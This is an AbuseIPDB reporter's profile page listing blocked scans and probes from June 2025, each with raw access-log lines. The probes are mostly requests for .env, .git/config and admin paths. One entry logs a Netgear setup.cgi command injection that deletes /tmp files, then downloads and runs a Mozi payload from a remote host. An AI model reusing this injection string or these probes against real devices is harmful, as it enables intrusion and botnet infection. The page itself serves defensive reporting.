AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User AF joined AbuseIPDB in April 2025 and has reported 3,755 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇩🇪 164.90.233.210	08 Jun 2025	Activity: Port scan and possible SSL/TLS handshake attempts, indicating probing or scanning activity ... show more Activity: Port scan and possible SSL/TLS handshake attempts, indicating probing or scanning activity Action: Blocked by firewall Access Log Entries: • [07/Jun/2025:23:33:49 +0000] "x16x03x01x00xEEx01x00x00xEAx03x03x0Ex81x9AxF4x8Ex01E]kxFDxA2x15xD80xE8xC6xA6axxBF0Qdx9EYxDFxCExDD&gx05xE8 xFAx1C#x85xAExF06x17CxAFxCFxDAx93xD4Px01xD4\|x7Fx81xA6x87:nx0CmxF0xDExF0x91xE8x8Ax00&xC0+xC0/xC0,xC00xCCxA9xCCxA8xC0x09xC0x13xC0" 400 150 "-" "-" "-" • [07/Jun/2025:23:33:50 +0000] "x16x03x01x00xEEx01x00x00xEAx03x03LxD5F'xCB7)xF3xB7=x9CxFDx13x1C Lx16xA2xFAx17Sx92xA0x1Ax1Fvx9FxCAx01zxA3f x093xBEx9Bx81a}x811x9DxAE`jxBExxC2x0Fx93xBAx97xF5x11xB5QxFBKxFBxC8N[~gx00&xC0+xC0/xC0,xC00xCCxA9xCCxA8xC0x09xC0x13xC0" 400 150 "-" "-" "-" show less	Port Scan SQL Injection
🇺🇸 20.65.195.33	08 Jun 2025	Activity: Web Bot activity probing for server health endpoints Action: Blocked by firewall Access ... show more Activity: Web Bot activity probing for server health endpoints Action: Blocked by firewall Access Log Entries: • [07/Jun/2025:07:14:47 +0000] "GET /actuator/health HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇳🇱 87.121.84.128	08 Jun 2025	Activity: Normal web activity and potential spoofing or probing attempts Action: Blocked by firewal ... show more Activity: Normal web activity and potential spoofing or probing attempts Action: Blocked by firewall Access Log Entries: • [07/Jun/2025:05:17:14 +0000] "GET http://ip-api.com/json/ HTTP/1.1" 400 248 "-" "Go-http-client/1.1" "-" • [07/Jun/2025:05:17:14 +0000] "x04x01x00PxD0_px01x00" 400 150 "-" "-" "-" • [07/Jun/2025:05:17:15 +0000] "x05x01x00" 400 150 "-" "-" "-" show less	Spoofing
🇬🇧 138.68.132.209	08 Jun 2025	Activity: Port Scan and Web App Attack attempt Action: Blocked by firewall Access Log Entries: • [ ... show more Activity: Port Scan and Web App Attack attempt Action: Blocked by firewall Access Log Entries: • [07/Jun/2025:08:20:56 +0000] "GET /squid-internal-mgr/cachemgr.cgi HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Port Scan Bad Web Bot
🇳🇱 193.32.249.136	08 Jun 2025	Activity: Attempted access to environment configuration file, indicative of potential web app attack ... show more Activity: Attempted access to environment configuration file, indicative of potential web app attack or reconnaissance Action: Blocked by firewall Access Log Entries: • [07/Jun/2025:06:02:10 +0000] "GET /.env HTTP/1.1" 403 146 "-" "-" "-" show less	SQL Injection
🇨🇳 8.155.35.7	07 Jun 2025	Activity: Normal browsing, port scanning attempt, potential host exploitation Action: Blocked by fi ... show more Activity: Normal browsing, port scanning attempt, potential host exploitation Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:14:38:24 +0000] "GET /.env HTTP/1.1" 403 146 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1" "-" show less	Port Scan Exploited Host
🇺🇸 15.204.245.144	07 Jun 2025	Activity: Normal browsing activity with multiple port scan attempts and potential probing for sensit ... show more Activity: Normal browsing activity with multiple port scan attempts and potential probing for sensitive environment files Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:18:32:27 +0000] "GET /.env HTTP/1.1" 403 180 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" "-" • [06/Jun/2025:18:32:28 +0000] "POST / HTTP/1.1" 403 778 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" "-" • [06/Jun/2025:18:32:28 +0000] "GET /public/.env HTTP/1.1" 403 180 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" "-" • [06/Jun/2025:18:32:28 +0000] "GET /laravel/.env HTTP/1.1" 403 180 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version show less	Port Scan Exploited Host
🇺🇸 20.65.194.96	07 Jun 2025	Activity: Port Scan Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:02:03:57 +0000] ... show more Activity: Port Scan Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:02:03:57 +0000] "GET /manager/html HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Port Scan
🇺🇸 20.121.123.108	07 Jun 2025	Activity: Port scan and web application attack attempt Action: Blocked by firewall Access Log Entr ... show more Activity: Port scan and web application attack attempt Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:15:44:22 +0000] "SSH-2.0-Go" 400 150 "-" "-" "-" • [06/Jun/2025:15:44:22 +0000] "MGLNDD_<host_IP>_443" 400 150 "-" "-" "-" show less	Port Scan Web App Attack
🇺🇸 20.163.10.186	07 Jun 2025	Activity: Web Bot activity scanning for metadata uploader endpoint Action: Blocked by firewall Acc ... show more Activity: Web Bot activity scanning for metadata uploader endpoint Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:18:32:12 +0000] "GET /developmentserver/metadatauploader HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇺🇸 20.169.49.63	07 Jun 2025	Activity: Web Bot activity scanning for web application vulnerabilities Action: Blocked by firewall ... show more Activity: Web Bot activity scanning for web application vulnerabilities Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:18:22:59 +0000] "GET /hudson HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇺🇸 40.76.125.17	07 Jun 2025	Activity: Web Bot activity scanning the website Action: Blocked by firewall Access Log Entries: • ... show more Activity: Web Bot activity scanning the website Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:17:53:36 +0000] "GET / HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇺🇸 40.124.171.82	07 Jun 2025	Activity: Web Bot Activity Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:09:39:36 ... show more Activity: Web Bot Activity Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:09:39:36 +0000] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇦🇷 45.230.66.27	07 Jun 2025	Activity: Attempted web application attack involving command injection and configuration file access ... show more Activity: Attempted web application attack involving command injection and configuration file access Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:01:47:44 +0000] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://45.230.66.27:11425/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 403 146 "-" "-" "-" show less	SQL Injection Web App Attack
🇺🇸 52.186.182.60	07 Jun 2025	Activity: Web Bot activity attempting to access development server Action: Blocked by firewall Acc ... show more Activity: Web Bot activity attempting to access development server Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:18:59:28 +0000] "GET /developmentserver/metadatauploader HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Bad Web Bot
🇦🇺 134.199.168.151	07 Jun 2025	Activity: Attempted access to sensitive configuration files indicating potential web application att ... show more Activity: Attempted access to sensitive configuration files indicating potential web application attack or reconnaissance activity Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:01:45:04 +0000] "GET /.env HTTP/1.1" 400 150 "-" "Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);" "-" • [06/Jun/2025:01:45:05 +0000] "GET /.git/config HTTP/1.1" 400 150 "-" "Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);" "-" show less	Web App Attack
🇫🇷 82.102.18.124	07 Jun 2025	Activity: Normal web browsing activity with some probing for WordPress-related files, possibly recon ... show more Activity: Normal web browsing activity with some probing for WordPress-related files, possibly reconnaissance or scanning for vulnerabilities. Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:04:03:57 +0000] "GET //wp-includes/wlwmanifest.xml HTTP/1.1" 403 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-" • [06/Jun/2025:04:03:57 +0000] "GET //xmlrpc.php?rsd HTTP/1.1" 403 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-" • [06/Jun/2025:04:03:58 +0000] "GET //blog/wp-includes/wlwmanifest.xml HTTP/1.1" 403 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-" • [06/Jun/2025:04:03:58 +0000] "GET //web/wp-includes/wlwmanifest.xml HTTP/1.1" 403 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" show less	Exploited Host
🇩🇪 164.92.253.3	07 Jun 2025	Activity: Attempted access to environment configuration file, indicative of probing for vulnerabilit ... show more Activity: Attempted access to environment configuration file, indicative of probing for vulnerabilities Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:07:45:30 +0000] "GET /.env HTTP/1.1" 403 180 "-" "Mozilla/5.0 (Linux; Android 9; Redmi Note 7 Build/PKQ1.180904.001) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/9.4 Chrome/67.0.3396.87 Mobile Safari/537.36" "-" show less	SQL Injection
🇩🇪 165.232.66.142	07 Jun 2025	Activity: Port Scan Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:08:21:54 +0000] ... show more Activity: Port Scan Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:08:21:54 +0000] "GET /squid-internal-mgr/cachemgr.cgi HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Port Scan
🇬🇧 178.79.166.13	07 Jun 2025	Activity: Normal web activity, port scanning, and spoofing attempts Action: Blocked by firewall Ac ... show more Activity: Normal web activity, port scanning, and spoofing attempts Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:08:52:02 +0000] "x16x03x01x00xFCx01x00x00xF8x03x03M" 400 150 "-" "-" "-" • [06/Jun/2025:08:52:03 +0000] "x16x03x01x00xFCx01x00x00xF8x03x03xB7UxCDvx98xE6xB1~xCCxABxF5xD1x0BxA0xE1x95Cx08xADxC1x91x02xE2PxBA" 400 150 "-" "-" "-" • [06/Jun/2025:08:52:03 +0000] "GET / HTTP/2.0" 400 143 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0" "-" • [06/Jun/2025:08:52:03 +0000] "x16x03x01x00xFCx01x00x00xF8x03x03C/" 400 150 "-" "-" "-" show less	Port Scan Spoofing
🇩🇪 167.71.46.247	07 Jun 2025	Activity: Normal web activity, port scanning attempts, and potential exploitation attempts Action: ... show more Activity: Normal web activity, port scanning attempts, and potential exploitation attempts Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:11:30:53 +0000] "x16x03x01x00ux01x00x00qx03x03sx15vx90TxEBx94x22wx87JAx84xDDL}\|:)xF8E4x13xBBbxB7x81xF0-x9CxACxE7x00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [06/Jun/2025:11:30:53 +0000] "x16x03x01x00ux01x00x00qx03x03/xADx13x22xX-[xFDx9AxA6xBFq;Ux8ExAExAAxC3$xC2x84xA7rxA3x01MxCDxC9x11xDCx07x00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [06/Jun/2025:11:30:53 +0000] "x16x03x01x00ux01x00x00qx03x03xDE'Fyx1Ex1ExE4]x02xC0~x08xD3xB6F,#x9CxF9xB2xA7px5Cix0FB~x17xA8}x92xF3x00x00x1AxC0/xC0+xC0x11xC0x07xC0x13xC0x09xC0x14xC0" 400 150 "-" "-" "-" • [06/Jun/2025:11:30:53 +0000] "GET /form.html HTTP/1.1" 400 150 "-" "curl/8.1.2" "-" show less	Port Scan Exploited Host
🇩🇪 134.122.75.221	07 Jun 2025	Activity: Attempted access to sensitive configuration files, indicating reconnaissance or probing ac ... show more Activity: Attempted access to sensitive configuration files, indicating reconnaissance or probing activity Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:11:49:24 +0000] "GET /.env HTTP/1.1" 400 150 "-" "Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);" "-" • [06/Jun/2025:11:49:24 +0000] "GET /.git/config HTTP/1.1" 400 150 "-" "Mozilla/5.0; Keydrop.io/1.0(onlyscans.com/about);" "-" show less	Exploited Host
🇳🇱 195.178.110.125	07 Jun 2025	Activity: Port Scan Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:15:49:05 +0000] ... show more Activity: Port Scan Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:15:49:05 +0000] "GET /.git/config HTTP/1.1" 403 180 "-" "Mozilla/5.0 (Linux; Android 8.0.0; Pixel XL Build/OPR6.170623.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" "-" show less	Port Scan
🇳🇱 93.123.109.105	07 Jun 2025	Activity: Attempted access to .git/config file, indicative of web app attack or reconnaissance Acti ... show more Activity: Attempted access to .git/config file, indicative of web app attack or reconnaissance Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:16:17:01 +0000] "GET /.git/config HTTP/1.1" 403 118 "-" "Mozilla/5.0 (Windows NT 6.0; rv:36.0) Gecko/20100101 Firefox/36.0 SeaMonkey/2.33.1" "-" show less	Hacking
🇺🇸 20.65.193.94	07 Jun 2025	Activity: Port scan and potential exploited host activity Action: Blocked by firewall Access Log E ... show more Activity: Port scan and potential exploited host activity Action: Blocked by firewall Access Log Entries: • [06/Jun/2025:21:55:24 +0000] "GET /autodiscover/autodiscover.json?@zdi/Powershell HTTP/1.1" 400 150 "-" "Mozilla/5.0 zgrab/0.x" "-" show less	Port Scan Exploited Host